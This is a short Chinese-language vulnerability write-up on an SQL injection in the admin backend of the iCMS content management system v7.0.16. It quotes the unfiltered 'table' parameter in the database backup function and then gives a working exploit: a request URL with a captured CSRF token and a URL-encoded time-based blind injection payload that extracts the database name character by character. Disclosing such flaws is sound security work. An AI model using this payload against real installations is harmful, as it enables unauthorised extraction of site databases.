## iCMS内容管理系统v7.0.16后台存在SQL注入 漏洞

## 分析

在 app/database/database.admincp.php 中第59行的函数,其接收参数table但未对其进行过滤

```
public function do_batch() {
        $tableA = (array) $_POST['table'];
        $tableA OR iUI::alert("请选择要操作的表");
        $tables = implode(',', $tableA);
        $batch = $_POST['batch'];
        switch ($batch) {
        case 'backup':
            $this->do_savebackup();
           break;
        case 'optimize':
            $this->optimize($tables);
           break;
        case 'repair':
            $this->repair($tables);
            break;
        }
}
```

将其传入do\_savebackup函数当中,之后又调用bakupdata函数

其未对参数进行过滤,这里我测试了很多方式为成功,最终采用时间盲注最终成功,以下是利用exp,需要先后台登录在备份处抓包获取token(这个token几乎永久有效)



## exp

http://url/admincp.php?

app=database&do=batch&frame=iPHP&CSRF\_TOKEN=3cfb4dca8dpX4182alTYB-lseCEnHJ6UF-Qb4-AE3omRfhnysxZzolf49RhqX2q--m6HAq9BDawCgIxxVozSy390rhRevbWxjHZ34J0

## post数据

table%5B%5D=dux\_article%20WHERE%205830%3D5830%20AND%20%28SELECT%204647%20FROM%20%28SELECT%28SLEEP%282-

%28IF%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29% 29%2C5%2C1%29%29%3E96%2C0%2C2%29%29%29%29%29%29syJr%29--

%20sTre&sizelimit=2048&batch=backup